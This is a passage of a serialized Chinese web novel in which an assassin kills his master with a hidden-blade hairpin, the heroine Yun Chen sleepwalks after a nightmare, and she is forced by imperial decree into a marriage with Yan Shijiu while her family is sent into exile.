“山寂啊山寂,你不适合做掌门,真的。你再厉害,怎么能跟皇帝叫板呢?还敢在香消崖威胁杀皇帝,你当一个能从洛疆王庭炼狱熬出来的女人,真能被你乖乖吓住?实话告诉你,你侮辱甚至意图杀她的仇,这么些年,她一天都没有忘记过。”
簪子锋利的长杆整个没进山寂胸口,迎着那仍旧桀骜不屈的目光,青鸢笑道:
“安心去吧,无义血卫有我呢,作为你的关门弟子,又有皇帝扶持,我会将无义血卫发扬光大的。那你一直心心念念要教给我的什么‘炁’,我也会跟其他无义血卫的高手们打听的,放心吧——”
说罢,青鸢用力按动簪头宝石,那锋利的刀刃在山寂胸口骤然炸开。
山寂浑身一震,“哗”地吐出一大口黑血,身子缓缓栽倒在地……
半个时辰之后。
青鸢骑着马,驮着山寂的尸体,就近来到一处城外。
路过一个巨大的臭鱼烂虾泔水坑的时候,他将山寂的尸体扔下去。
看着那红衣一点点完全沉没进恶臭脏水,只翻了两个泡,就再无动静,青鸢滑稽地行了个默哀礼,随即吹着口哨,慢悠悠离去。
与此同时,另一边,广原城的眺云庐中,霍阾玉从噩梦中惊醒。
她揉揉疼痛不已的脑袋,摸到头上那藏锋刃的簪子不见了。
回想昏睡之前的事情,她喝了一杯青鸢递过来的茶,然后就觉得十分困倦,一觉睡到了现在,不知过去多久。
她忍着腰背酸痛,起身四顾,想找青鸢问一问,却见偏房里,属于青鸢的东西全部都不见了。
她心里生出些不详的预感,急急跑到院中,到处一片寂静空旷,冬风呼啸着吹来瑟瑟寒气,冷得她直打摆子。
忽然,她注意到墙头上,那最繁盛的海棠花树旁,好像模模糊糊有道血红色的身影。
她揉揉眼睛,还未看真切,忽而冷风呼啸,卷起尘土迷眼。
等她再睁开眼时,风一吹,人影散了,海棠花落了。
那方才还繁盛美丽的海棠花树,一瞬间变得萎靡,就连那些未开的花骨朵也全都坠落在地上。
霍阾玉怔怔地望着光秃秃的枝桠,一股巨大的无名悲伤袭上心头,痛得她捂住心口,蜷起身子。
她不知道自己怎么了,只是隔着汹涌落下的泪水望向高高的墙头,莫名知道——
那道红衣如火的身影,从此以后,再也不会出现了。
那个笑着说“这恩义的奴隶,我当给你”的男人,也许……永远都不会再回来了。
第457章 恶魔“云琛”
云琛一直觉得,京都的月亮比别处的都要冷。
像是被污浊煞气熏久了,透着一股子阴气。
从前,她总喜欢睡在有月光照进来的窗棂下,如今到了颜府,她却只喜欢蜷缩在月光照不到的角落里。
她用被子将自己裹紧,告诉自己快点入睡,好好睡,越是这种时候,越要养足精神。
虽然如今霍乾念被幽禁在满是森严把守的霍府,她被困在日夜有人监视的颜府,但她相信,只要他们还活着,就还会有再见面的一天。
她闭上眼睛,专心致志准备睡觉,耳边却听到“滴答、滴答”的水声。
起初,她并不想在意,可水声特别规律又清晰,吵得她根本睡不着。
她有点心烦地坐起身,想喊人去看看,是不是院子里的竹笥漏水了,转而想起这是在颜府。
除了颜十九,她一个认识的人都没有,不知道该使唤谁。
她只好自己爬起来去找。
推开屋门,到处静悄悄,灰蒙蒙的,没有点灯。
院子里没有人,守卫和仆从都不在,只有一道血红色的身影蹲在那高高的墙头上。
“飞鱼哥哥?”
云琛惊讶,走过去才发现,山寂浑身湿透,不停从衣角往下淌着水,一滴滴流下来,在地上汇集成一滩小小的水坑。
她方才听见的滴答水声,正是从这里发出来。
山寂没有应声,一动不动。
云琛奇怪地看过去,这才发现山寂头上竟然带着一个四四方方的铁箱子,刚好将他整个脑袋装在里面,卡在脖子上。
这让云琛看不见山寂的脸,她又叫了声“飞鱼哥哥,是你吗?”往前凑近几步,立马闻到一股浓重的腥臭味,正源源不断地从山寂身上传来。
“飞鱼哥哥,你怎么了,为什么不说话?”
见山寂一直没有反应,云琛只好同他一样跳上墙头,沿着细窄的墙沿,一点点晃晃悠悠走过去。
越靠近山寂,那股腥臭味就越强烈,熏得云琛眼睛都发酸。
但她不嫌弃,慢慢靠近山寂,在他身边蹲下。
因为墙沿太细窄,她蹲下去的时候有些费劲,身子一趔,差点摔下去,好在山寂快速伸手扶住了她。
隔着头上那密不透风的铁箱子,山寂的声音沉闷而厚重:
“琛儿不怕,哥哥在。”
云琛在墙头蹲好,咧嘴对山寂一笑,可觉得山寂根本看不到自己的笑容,便想摘下他头上的铁箱。
她抱着那铁箱找啊找,来回找了好几遍,只见整个箱子严丝合缝,连个锁眼都没有,完全不像能打开的样子,真不知道山寂怎么戴上这玩意儿的。
“哥,你戴着这个不难受吗?别着急,我想法子帮你取下来。”
山寂摇摇头,声音愈发沉重:
“琛儿,看见我的脸,你会害怕的。”
“害怕?开什么玩笑?你可是我发小哎!”云琛站起身,两手抱住那铁箱子,像拔萝卜似的用力往外拔。
按道理说,有山寂那男人身子坠着,她应该拔起来有很大阻力。
不曾想,她刚一使劲,山寂整个人就被她拔飞了起来,高高抛上夜空,在阴冷惨白的月光里翻了几个滚,然后轻飘飘地落在地上。
“哥!”
云琛吓坏了,赶紧跳下去扶山寂,后者却猛地往后躲去,不肯她再靠近,又问她:
“琛儿,你确定,看了我的脸不害怕?”
她坚定地摇摇头,大步上前,再次抱住那铁箱准备硬掰。
这时,只听“咔嚓”一声响,山寂头上的铁箱从正中裂开一道缝隙,露出凶兽獠牙般锋利的锯齿。
随着铁箱缓缓打开,云琛的心也莫名跟着悬了起来,紧张地屏住了呼吸。
紧接着,一张陌生又熟悉的美丽脸庞出现在眼前,云琛愣了好一会儿,才试探着叫了声:
“娘?”
铁箱里的人脸温柔笑起来,云琛惊喜不已,刚想扑上去拥抱,却见那五官又慢慢变幻,成了山寂的模样。
“飞鱼哥哥?”云琛这时才惊讶发觉,怎么山寂和她娘亲长得……那么像?
正狐疑时,那脸孔再次变幻,这次竟然是她自己的脸。
只是那脸上的表情,是她从来没有过的阴森、凶狠,唇边还挂着诡异的笑容,冷冷对她说:
“蠢货!干嘛不造反?!直接杀了皇帝!多快活!”
这种面对面和自己说话的感觉真奇怪,云琛像是看着一个截然相反的、令她感到极其不舒服的自己,生气道:
“忠君爱国者怎能造反?一旦开战,势必波及平民,京都城的百姓们多可怜?还有阿念,段捷,伏霖,荣易,罗东东……云望,莲城,我的嫂子,我那么多家人。一旦造反开战,他们怎么办?”
对面的“云琛”咧开嘴,露出白森森的牙齿笑起来,用一种带着奇异兴奋的声音说:
“那就杀了呀,全杀了——先杀皇帝,再屠京都城!什么霍乾念也好,云望也罢!通通杀了!从此你在这世上无牵无挂!便没有任何弱点!只要你想!你可以杀光天下!做这世界的王!”
“你疯了!”云琛震惊大叫,阻止对面的“云琛”再说话。
她觉得眼前不是自己,一定是什么妖魔鬼魅化形来吓她的,立刻翻身爬起来就跑,想要甩掉这魔鬼。
可对面的“云琛”却不肯放过,如影随形地紧紧跟在云琛身后,一边疯狂大笑,一边喊着:
“杀了!全杀了!人不为己!天诛地灭!哈哈哈哈——”
云琛撒开两腿拼命跑,却怎么都迈不开步子,怎么都跑不动。
忽然,那“云琛”的脸消失了,山寂和娘亲的脸左右各一半,像被硬生生拼凑在一起,哀伤又焦急地说道:
“琛儿!振作起来!坚定你的心!不要怕!娘在这里!哥哥永远保护你!”
听见这声音,云琛停下脚步,难过地回头想抱抱娘和山寂。
可就在她手要碰上去的瞬间,那脸孔忽然又变成了恶魔“云琛”的样子,目露凶光,阴阴一笑,得意地说句“呀!上当了!”然后张开血盆大口,狠狠咬住了云琛的脖子。
云琛吓得失声大叫,浑身一震,终于逃出噩梦,真正地睁开了双眼——
清晨温暖的光线照在脸上,云琛努力转动眼睛,环顾四周。
一群颜府守卫、仆从围成一圈,正奇怪又有些紧张地看着她。
顺着他们的视线,云琛低头看去,惊讶地发现自己满手是血,正拿着一把厨刀,将一只活鸡连皮肉带鸡毛,几乎剁成了肉沫。
她想起自己被押入颜府来着。
她知道自己又梦游了。
这是霍乾念曾经寻了很多名医替她诊脉,都看不好的心病。
时间一长,她和周围人也都习惯了。
只是这次的噩梦实在恐怖,以前梦游还都是切切菜什么的,这次她竟无意识地砍杀了一只活物。
如果再有下次,她会不会在梦中杀人呢……
想到这里,她忍不住打了个哆嗦,慌乱抓起抹布去擦手上的血。
这时,一道高大的身影从后靠近,用熟悉的气息将她笼罩,温暖的体温将她整个人包裹。
颜十九从后环住她的身子,轻声说了句“我来”,牵住她的手,温柔地制止了她的动作。
第458章 超配合
颜十九用拥抱的姿势,从身后环绕住云琛,顺势牵住她双手。
在他的牵引下,云琛放下刀和抹布,顺从地走到水槽前。
他细心地帮她卷起袖子,舀出一瓢清水,一点点洗净她手上的血污。
云琛愣愣地看着自己逐渐重新白净的双手。
趁这机会,颜十九快速抬头使了个眼色。
一旁的万宸接受到意思,立即清退所有守卫和仆从们,轻轻关上了厨房的门。
“吱呀”的门声,令云琛彻底清醒,神智逐渐变得像双手一样洁净,那痛苦和心忧也再次清晰席卷而来。
“你去看了吗?怎么样了?”她问。
“都看了,你的吩咐,我怎能马虎?”颜十九调皮地眨眨眼睛,然后神色认真起来,继续说:
“宋俏俏和曹姝妤当众触犯律例,皇上本来大怒,要杀一儆百,好在曹国公家势力大,宋禄老伯爵虽然没什么实权,但宋家历代功勋,自请削爵位赎罪。最后,只将宋俏俏和曹姝妤各打二十大板,斥责一番,命她们幽闭闺房三年不得出。”
三年,女子多珍贵的三年……
但那样当众挑衅皇权,换作平民女子,只怕当场就被斩杀了。
如今这样,已算是南璃君法外开恩。
云琛脸色难看,只能点点头。颜十九又道:
“荣易和罗东东他们,四人都贬为普通将士,没有被分配去边境驻扎部队,留在京都和京军混编。另外云望一家今日酉时流放离京。回幽州也是好事,就当回家去。这一路徒步多辛苦,我已派人沿途打点好,尽量少叫他们受罪。”
“谢谢你,真的谢谢。”云琛感激地说,然后犹豫了一下,看向颜十九的脸色:
“那……他呢?”
颜十九自然知道云琛是问霍乾念,心里生出特别烦躁发酸。
但如今,多年筹谋没有白辛苦,云琛终于在他手心里了,婚期也近在眼前。
他还有一辈子可以与云琛消磨,早晚能全部拥有她的心,他不着急。
想到这里,他耐住性子,装模作样地叹了口气,道:
“霍帮已被尚仪局的女官庄姬接管,所有堂口、铺子、码头、库房、财产……一并充入国库,如今只剩霍府还在。为了平息西炎的愤怒,尚仪局杀了几个叫什么霍祥浩的霍氏族人,拿去给西炎做交代了……
对了,我还去宫里请了那个医术最好的徐太医去了趟霍府。霍乾念膝盖的伤不轻,暂时没有办法走路,徐太医说,要想痊愈,至少两年。这两年恐怕得跛脚。”
云琛听得心口一阵锥心刺痛,眼睛立马有泪泛上来。
她泪眼朦胧地看向颜十九,央求地对他说:
“有没有办法……让我见他一面。”
“不可能。”颜十九斩钉截铁地回答。
看到云琛一瞬间失望的表情,颜十九只好又转换语气,说声“别急”,沾湿帕子为她轻轻擦拭脸颊上迸溅到的鸡血。
即使已将她的脸擦得很干净了,颜十九还是舍不得停下动作。
趁她此刻心神涣散低落,他伸手轻轻握住她小巧柔嫩的下巴,慢慢抬起来,令那双泪眼楚楚、可怜的让他心疼、让他快要发疯的眼睛看着他。
他觉得,自己这辈子所有温柔都给云琛了,只有对着云琛时,他才会这样轻声细语地说话。
“别哭了,小云云。霍府现在天上地下全是守卫,戒备极其森严,没有皇上命令,谁也无法进出,我实在办不到。但我可以带你去看看云望,好吗?”
云琛知道自己强人所难了,如今正在霍乾念被幽禁的风口浪尖上,想见面只怕难如登天。
云望就要被流放,押解上路,能去看看云望也是好的。
云琛强打起精神,用袖子擦擦眼泪,恳切地对颜十九说:
“那拜托你了,颜十九,让我送送云望。”
“可以是可以,但有个条件。”颜十九一本正经地说。
云琛低落:“什么条件?我现在什么都没有了。”
她如今没有兵权,没有官职,兄弟朋友和家人都不在身边,孤身一人进入这颜府,身上连块碎银子都没有,她觉得自己没什么能报答颜十九的,只能吸吸鼻子,道:
“什么条件你尽管说,我一定努力去做,哪怕现在做不到,将来我也一定做到。”
颜十九开心地笑起来,抬手刮了下云琛的鼻子,“就等你这句话呢!”
感觉到云琛和从前一样的回避和不自在,颜十九不再动作,只是坏笑道:
“条件就是,从今儿起,你得和我举案齐眉、恩恩爱爱,给我生十八个儿子。”
“有病!”云琛翻了个大白眼,“我心里难受着呢,没功夫和你玩笑。”
“那先换一个。”颜十九说,“这恩爱和生孩子的事先不急,你先答应我,再别梦游了行吗,我怕哪天正抱着香香小云云睡觉呢,突然被送去投胎了,跑到阎王殿,给阎王老爷吓一跳怎么办?”
这和从前一样轻松的语气,没皮没脸的玩笑话,令云琛破涕为笑。
她报复性地抓过他袖子擦擦鼻涕,瞪他一眼:
“想和我睡一张床?做梦去吧!而且你嘴巴也干净点,小心皇上知道了,砍你的花心大狗头!”
“那娘子,你到时候会去救相公我吗?提刀跨马劫法场?”
“‘娘子’你个大头鬼!你自己说的,赐婚是不能抵抗的圣旨,咱们先‘假装成婚’走个过场,但你我之间朋友情谊不变,你不干涉我心系阿念,我也不干涉你娶十个八个小妾,咱俩楚河汉界,互相尊重。所以你嘴巴放干净点!”
“我可没说过‘朋友’俩字哎呦——好好好,但你说清楚,到底劫不劫?”
“劫啥?”
“劫我的财,劫我的色,想不想?只要你开口,我所有银子都给你花。外加本公子火树银花貌俊无双,也一块送给你!讲真,你对我就没有一点点动心?大家都这年纪了,别害羞哦,你要哪天想‘劫色’了,随时通知我,我一定超配合!”
“滚!!”
第459章 我的姓名
几个时辰之后,夜幕将临时,颜十九带云琛来到京都城门口。
因如今女子不能随意外出露面的律例,他已尽最大的努力,让云琛打扮成侍女样子,头戴斗笠,覆上面纱出门,可也只能站在城门上相送。
云琛远远地看过去,十几个禁军押解着身穿麻衣、脚带镣铐的云望和朱氏从城门出来。
在看到连小小的云莲城脚上都锁着沉重的铁锁,几乎拖得那小脚丫走不动时。
再想到这千里迢迢一路穷山恶水,要一百多日苦寒行路,受尽折磨和屈辱,才能靠双脚抵达幽州,云莲城那小小的身子能不能活下来都不一定,云琛心如刀割,泪水渐渐打湿了面纱。
颜十九轻轻掀起面纱,就像多年前在那春日宴上一般,低头钻进来,与她一起笼罩在纱中。
他一边帮她擦眼泪,一边柔声安慰:
“放心,我说沿途打点过,必是处处周到。我已私下给衙役足数黄金。只要离开京都范围,就叫云望他们坐马车走,只要没人看到的地方,就解开脚上镣铐。一路必定好吃好喝相待,不打不骂,保护得妥妥帖帖。就放心吧。”
“嗯。”云琛鼻音浓重地应声,心里越发感激颜十九。
她整理好面纱,再次往云望的方向看去,惊讶发现,前来押解出城的领队,竟是那言官吴怀安。
这么高位又得势的大官,亲自出城来押送流放犯,实属稀奇,云琛奇怪发问。
颜十九只道:“小人得势都是如此,必然要看前辈的笑话。走吧,你出来太久容易引人注意,万一皇上知道就不好了。”随即拉着云琛离去。
城门口,禁军们将云望一家交给负责押运的四个衙役后,向吴怀安行礼退下。
待禁军都走远,吴怀安从怀里掏出沉甸甸一大包银子,交到为首的衙役手里,恳切道:
“劳烦几位大人。”
这是让多照顾云望一家的意思,衙役们面面相觑。
流放的犯人们临行之前,有条件的都会有家人朋友来打点衙役,请求多照顾,这很常见。
但押运云望这种从丞相高位跌落的,衙役们还是第一次。
更不要说,打点钱已陆续收到了三份,数目之巨前所未有。
四个衙役心知云氏不可小觑,连连接过钱,答应一定好好照顾,然后识趣的借口整理行囊和马匹,退开些许,让吴怀安与云望说说话。
云望的神色依旧淡然而平静,眼下发生的一切都早已在他意料之中,对于这风云诡谲的京都,他也已决心退出。
所以,他并不难过。
倒是吴怀安眼圈有点红,神情既悲伤,又释然,说道:
“云大人,此去只怕再也不会见面了,您多保重,祝您平安顺遂。”
云望点点头,并没有以客套话回礼,而是问:
“为什么?”
大军回京以来,霍乾念的嚣张狂放也好,那宫宴上的血溅三尺也罢,不论南璃君和颜十九的阴谋,还是最后必然由云琛交出兵权作为收场,云望都旁观得一清二楚,也知道云氏一家这早已注定的下场。
但他唯一想不通的是,吴怀安,好好一个安生的小太监,为何要掺和进这生杀大局,走上一条必死的路。
吴怀安嘴巴动了动,一时竟不知道如何回答。
他想说,半年前的一个黄昏,也是这样的酉时,他去为南璃君送梅子汤时,不小心将食盒的钥匙落在凤驭天殿了。
等他折返再取的时候,只见南璃君依偎在颜十九的怀里,高兴地说着什么:
“要不扶持云望当‘大奸臣’吧,以他妻儿性命,逼迫他去弹劾霍乾念和云琛,姐弟反目多有趣!事后再以‘清君侧’之名,名正言顺地杀了云望一家。这样一来,既能平民愤,叫旁人都以为我是被奸臣蒙蔽,二来,云家绝后,只剩女流之辈,永生永世也翻不出风浪了。”
听到这话,吴怀安呆住了,浑身不停发冷。
他不为听到这往天大的隐秘惧怕,而是为即将堕入地狱的云望感到深深的担忧。
只考虑了一下,吴怀安就做下了这辈子最重大可怕又绝不后悔的决定:
他扑出去告罪,说自己不小心听见皇上谈论要事,反正已经听见了,不如由他来做这个“大奸臣”。
南璃君考虑片刻,叫吴怀安演个大奸臣的样子来看看。
吴怀安天天与那些眼高于顶、鼻孔看人的大臣们打交道,学起来十分逼真自然,逗得南璃君哈哈大笑,同意了。
吴怀安知道自己早晚会死,以全南璃君的名声。
可他不怕,也不后悔,细细想来,为什么呢?
他看进云望的眼里——
大概是因为,在章察院的大殿卑躬屈膝地干了二十年,只有云望不像旁人那样对他视若无睹,只有云望会在他每次来添梅子汤时,每次都对他说“谢谢”。
大概是因为二十年了,每个人都叫他“喂”“小太监”“吴公公”。
只有云望会笑着叫他“怀安”,说:
“‘虚怀若谷,四时平安’,是个好名字,你父亲和母亲一定很疼你。”
吴怀安想说,啥“若谷”“平安”的,穷苦人家的孩子,被父母找人净身、卖给老太监,不过为了讨生活而已,哪有什么疼不疼的。
吴怀安怨怼这不男不女的奴才人生,但从来没恨过父母,毕竟当年奶奶快不行了,爹娘需要钱买棺材。
还记得当年,奶奶拉着他的手,不肯他被老太监带走,哭着说“别!拿块草席裹我就成!别糟蹋孩子!怀安能做官的!不要废了他!”
那时全家都以为奶奶快死了,糊涂说疯话,没想到如今吴怀安真的做官了。
虽然命不久矣,还是个无权虚职,但好歹,吴怀安这辈子也终于知道,挺直腰板和人说话是什么滋味了。
吴怀安脑海里浮现出这一切,但他并不想对云望诉说。他笑道:
“高官厚禄谁不喜欢呢?”
云望自然不会信这话,猜测吴怀安一定有他的苦衷,真诚地向他行了一礼,而后拖着镣铐,牵着妻儿慢慢远去。
看着云望远去的背影,吴怀安笑中带泪,喃喃道:
“云望大人,能替你去死,是我的荣幸呀……”
第460章 嫁给颜十九
十一月初一,阴云日。
没有从天而降的神仙来拯救苦难的凡人,也没有任何变故生出来,阻止这场令天下人惋惜悲叹的婚仪。
云琛早已被迫入住颜府,所以寻常人家成婚的接亲、迎亲、跨门祈福等仪式,通通全免了。
因为时间太短,再加上南璃君暗中命令,整个婚仪都准备得十分简陋。
好在颜府的仆从们训练有素,手脚十分麻利,还是将颜府装扮得花红柳绿、挂满喜绸。
前院里摆满待客的酒宴,虽不算隆重,好歹也够得上贵族的婚席规制。
京中权贵,与霍乾念交好的、看不惯南璃君如今行事的,全都没来。
其他有的与颜十九关系不错,有的忌惮颜十九的“南璃君男宠”身份,前来赴宴的不少,满满当当坐在桌边,言谈说笑,气氛倒也热络。
唯独一张桌边空空如也,奢华的酒菜旁,一个落座的人影都没有。
那是按规矩备下的娘家桌,应当由新娘子的娘家亲朋居坐。
只可惜,如今云氏全家流放,云琛的父母俱已离世,那桌子便只能空着。
看到这一幕,众宾客不免一阵唏嘘,谁能想到,那让整个楠国期盼了多年的“霍云大婚”,最后竟然是这样的结局。
很快,婚仪开始。
再简单的婚礼,花轿也不能免。
八个健壮的轿夫抬着大红色的花轿,载着云琛在颜府门口转了一圈,又走回来,算是完成“迎娶”之意。
云琛有些茫然地坐在轿子里,听着外面炮竹连连,颜府的下人们欢呼鼓掌,宾客们高声说笑,只感到一种灵魂脱离肉体的不真切。
她摸摸自己头上的凤冠,足金镶嵌宝石,沉甸甸的,是颜十九拒绝了宫里送来的一个样式简易的红冠子,专门找京城最贵的珠宝坊连夜赶制的。
纯金,压得她脖子好酸。
再摸摸身上金银丝线织就的霞帔,上面绣着金灿灿的云霞花鸟,坠满珍珠流苏,也是颜十九看不上宫里御赐,千里迢迢从东炎买来的。
只不过好像东炎婚娶的风俗和楠国不太一样,这霞帔上十分违制地绣了凤凰在内侧,还用宝石点了凤睛,刚好在云琛后心位置。
她被咯得不太舒服,忍不住一直去挠。
就这么在轿子里扭来扭去,直到一声“落轿——”在外面响起,她才反应过来这是在成婚呢,赶紧收敛动作,心思也被迫再度回归,直面“嫁给颜十九”这个荒谬的事实。
阿念,他此刻在做什么呢?云琛突然想。
听颜十九说,因为霍乾念如今不能好好走路,南璃君便下令为他省去婚仪,好生修养。知罗的户籍已入霍氏,从另一种形式正式成为了霍夫人。
轿子外面,礼官碎碎念着冗长的祝词,云琛利用这时间空隙,悄悄从轿帘向外望去。
天空阴云密布,像是要落雪的样子。
阿念在霍府,是不是也能听到这里的炮竹声?
希望阿念不要难过,这婚娶只是仪式而已,违心的,算不得数。
云琛心里这样想,可在轿帘被缓缓掀起的那一刻,她还是莫名感到巨大的空洞与慌张。
望着颜十九红衣镀金、那般丰神俊朗地冲着她笑,再目光落到不远处那空荡无人的娘家桌,云琛再也骗不了自己,知道这就是她和霍乾念的结局了,这就是残忍而无情的现实,忽然一阵悲从中来,鼻头一酸,眼泪就落了下来。
从无声流泪到低低啜泣。
从小小地哭着,到再也绷不住,彻底放声痛哭。
外面的众宾客慢慢停止交谈,静静仰头看着天空,也安静地听着云琛令人心酸的哭声。
碎玉般的哭泣声中,今冬的第一场雪,终于来了。
雪花纷纷飘落中,云琛哭啊哭啊,像是要把一肚子委屈、不甘、痛苦,全都通通哭出来。
她从来不知道自己竟然能哭这么久。
她哭得上气不接下气,一边心里对自己说“别这样,颜十九已经很照顾你了,别在这么多人面前让他下不来台,别给他丢人”,一边抬袖子去擦那怎么都擦不完的眼泪。
她眼泪哗哗地抬头,看向轿子外面的颜十九。
他一动不动地站在那里,脸上的笑容早就没有了,只剩一脸面无表情的阴冷,笼在阴色的光线里,显得极其陌生。
云琛能感觉到,颜十九好像生气了。
就在她抽抽搭搭,想要说声“对不起”的时候,颜十九眉宇破冰,轻轻叹了口气,语气无奈,仿佛在说“我该拿你怎么办呢?”
接着,当着所有宾客的面,颜十九弯身钻进那狭小的轿子,掏出帕子为云琛细细沾拭眼泪,然后全然无视什么“新娘子要自己走下轿子,向夫君行礼,表示顺从”这破规矩,直接打横将云琛抱起来。
他叫云琛的头靠在自己怀里,既不弄花她精致的新娘子妆容,又不叫宾客们看见她的脸。
他抱着云琛,故作夸张地掂了掂,对一脸惊讶的宾客们笑道:
“诸位先好吃好喝着,容我先去洞房……啊不是,是先送我夫人回屋歇歇昂,我‘耙耳朵’这件事,还请诸位贵客保密。”
简单几句玩笑话,故意说错的小小出糗,立马化解了尴尬的气氛,令宾客们哄笑起,重新热闹开。
颜十九径直将云琛抱进寝屋。
在迈过门槛的瞬间,他明显感觉到怀里的人儿身子一僵。
他不禁唇角微勾,对待什么珍贵玉器似的,将云琛轻轻放在婚床上,然后也不起身,就那么两手撑在她两边,俯身定定笑看着她。
“小花猫,哭够了没有?”
云琛被他看得不自在,想抬手推他肩膀,让他离远点,手伸到一半却又停住动作。
不知道为什么,和颜十九做了这许多年朋友,她第一次感到不自在。
自打进了这颜府,就好像被圈进了颜十九的地界,她时常感到手足无措,有种万事万物都在提醒她“颜十九也是个男人”的错觉。
她这一切心思,自然逃不过颜十九的法眼。
不想这么早就惊到她,反而弄巧成拙,激发她戒心,颜十九压抑住心思,玩笑道:
“你别用这娘兮兮的表情看我,好肉麻!我是皇上的人,可不受你这勾引!”
听了这话,云琛明显放松多了,翻了个白眼,随即一拳头捣在颜十九肩膀,骂了句:
“滚哦!”
颜十九揉着被打到的肩膀,夸张地哎呦两声,说句“颜夫人好好待着吧,我先去招待宾客了”,随即嬉皮笑脸地离去。
临走之前,他神神秘秘地对云琛说,一会儿有惊喜礼物给她。
云琛不感兴趣,一个人傻傻地在婚床上坐着,愣神了许久,然后长长叹了口气,一头扎倒在被子里。
“阿念,我累了。”
空荡荡的房间里,她的声音很轻,没有人听见,也没有人回答。
第461章 两个惊喜
云琛穿戴着凤冠霞帔,和衣倒在婚床上,定定地看着窗外光线一点点变暗。
大雪纷纷坠落,夜色笼罩起前厅里婚仪的喧嚣。
颜十九虽然人去当新郎官喝酒了,但没忘记云琛这边,叫人挑了席上几道云琛爱吃的菜,温在暖煲里,送了三次。
还叫厨子单独做了道婚宴上没有的蜂蜜牛乳酪端来,又命人送了好几次甜汤,两次热水。
怕她无聊,还叫人拿了几本小人书过来。
颜府的仆人从寝屋里进进出出,每当有人来时,云琛都要顶着那沉重的凤冠支楞起来,体面地扮演她新娘子的角色,等仆人走后才能又重新倒在床上。
这一来二去七八次,她累得心烦,也根本没心情吃喝看书,干脆翻身面朝里躺,再来人就装睡着了,眼不见心不烦。
果然,没一会儿,她听见屋门又打开,一个轻盈的脚步声走近,却没有放下什么东西的声音,而是静悄悄站在她身后许久,不说话,也不动。
云琛好奇地想看看是谁,凤冠上的凤凰翅膀却被床上的锦被勾丝缠住,扯得她爬不起身。
那轻盈的脚步声立刻快步上前,柔声道句“我来”,伶俐地将云琛“解救”出来。
云琛随即与一双熟悉的眼睛对视上:
“兰倩?你怎么在这里?我不是遣散府中所有人了吗?你怎么不走,没有领到钱?库房里钱不够了是不是?”
“够的够的!”兰倩忍着眼泪,“所有人都按大小姐你的意思,全部发钱遣散了,但其他人是其他人,兰倩是兰倩。大小姐,我不能离开你!”
所以颜十九派人找到兰倩,问她还想不想伺候云琛的时候,兰倩想都没想就答应了。这就是颜十九说的“惊喜礼物”。
明白兰倩的心意,越明白,也就越担心,云琛握住兰倩的手,埋怨又心疼:
“傻姑娘,我这里是什么好地方吗?没看这府里到处都是守卫吗!保不齐哪天你就被我连累了!走吧,我让颜十九送你回家去,平平安安地回去侍奉爹娘,不要和我在一起。”
“不!我要一辈子跟着大小姐!”兰倩说着,再也控制不住情绪,直接扑进云琛怀里哭出声:
“大小姐,你怎么没能嫁给霍姑爷呀?老天爷为什么要这样折磨你们......大小姐,你太可怜了......我舍不得把你一个人扔在这里呀......”
兰倩越哭越伤心,惹得云琛也难受,两个小小女子抱在一起哭了好一会儿,兰倩才想起一件重要的事,赶紧坐起来擦擦眼泪,又露出笑颜:
“大小姐,我只是‘第一个惊喜’,还有‘第二个惊喜’呢,你猜猜是谁?”
云琛猜不到,望向屋门口,隐约瞥见一抹嫩黄色的裙角,是侍女的服制。
兰倩朝门口的人招手:“快来呀,还不好意思啦?求着颜公子要来侍候大小姐的时候,你怎么不害羞呀?”
门口的人用手不停绞着裙角,像是用了很大的勇气才走出来。
云琛一愣,一惊,立刻从床上跳起来,也不顾头上冠子扯得头皮都痛,直接冲上去抱住来人,高兴道:
“小月儿!好久不见!”
小月儿是霍阾玉从前的侍女,自霍阾玉追随云琛上战场、后又定居道观,小月儿就成了没有主子的普通侍女。
虽然还是拿着从前高等侍女的月钱,可成日无所事事,小月儿心里发慌。
她好几次都想向霍乾念请求,去照顾云琛,奈何兰倩从幽州来了,小月儿觉得云琛应该不需要再多一个侍女,便没有开口。
直到这几日,朝廷来没收霍帮财产,一并清退府上护卫和仆从时,小月儿无处可去,只好硬着头皮去找兰倩,刚好颜十九的人过来,便一起来到颜府。
小月儿深深低着头,不敢看云琛,更不敢抬手回抱。
她对云琛的感情很复杂,有从前同在霍府的情谊,有为霍阾玉的遭遇生气抱不平,恨云琛这个女扮男装的坏家伙,让霍阾玉这辈子只能与青灯神像为伴。
也有对云琛的同情理解,知道一切都不是云琛的错,只是造化弄人罢了。
此外,还有许多羞赧在里面,怕云琛嫌弃她的投奔。
所以,小月儿只是直愣愣地杵在原地,相比之下,云琛又哭又笑的,激动得像个傻子。
“哪有点大小姐的样子,真是的!”小月儿小声抱怨。
云琛才不理她这口嫌体正直,拉着她和兰倩坐下,将颜十九方才拿来的吃喝统统摆到一起,这才发现,颜十九从命人送来的第一桌吃食开始,所有餐具就都是三套。
他熟悉云琛的性子,料定她会与兰倩、小月儿一起才肯用饭。
想到这里,云琛心里微微一暖,忍不住叹了口气。
兰倩和小月儿何等会看脸色,一下就看出云琛在想什么。
兰倩一边布置碗筷,一边安慰道:
“别想了,大小姐,咱们过一天算一天,好歹颜公子是个贴心的,不叫你受罪。”
“我不喜欢他。”小月儿皱起眉头,“我还是觉得少主和二小姐好。”
小月儿说的是霍乾念和霍阾玉,在她看来,只有那对霍家兄妹才配得上云琛,云琛也只有和他们在一起才会幸福。
可是一想到霍阾玉,小月儿又忍不住黯然伤心,看向云琛的时候,忍不住有点气哼哼,腮帮子鼓鼓的,像只生气的小仓鼠。
云琛用胳膊肘捣捣兰倩,假装说悄悄话:
“倩啊,我告诉你,小月儿可是霍府出了名的泼辣子,今后你和她搭档做事,小心别被辣到。”
“胡说什么呢?臭云......”小月儿不满叫到,还不太习惯用“大小姐”称呼云琛。
她抱着胳膊,将头扭在一边,气道:
“我就是来讨生活,挣点钱而已,别指望我对你忠心耿耿,我主子是二小姐,一辈子都不会变!”
“好好好,月儿姐!”云琛哄道:“咱先吃饭行不,吃饱再说‘一辈子’的事,或者你吃够饱的话,一会儿把后面十辈子都说了,成不?”
小月儿被逗得脸上绷不住,又想气,又想笑,表情乱抖,扭作一团,惹得兰倩哈哈直笑。
三个女孩子围坐小桌,你夹菜,我倒酒,一下热闹起来。
这陌生的颜府寝屋里,因为有了兰倩和小月儿,云琛忽然觉得熟悉了很多。
屋外,颜十九应付完大部分宾客,实在记挂云琛,心里猫爪骨头缝一样急,对众人说了句“不胜酒力”,便一步三晃佯装醉酒,逃席往寝屋而来。
隔着老远,他就听见了云琛的笑声,忍不住放慢脚步,静静站在原地享受那声音,也随之一起弯唇。
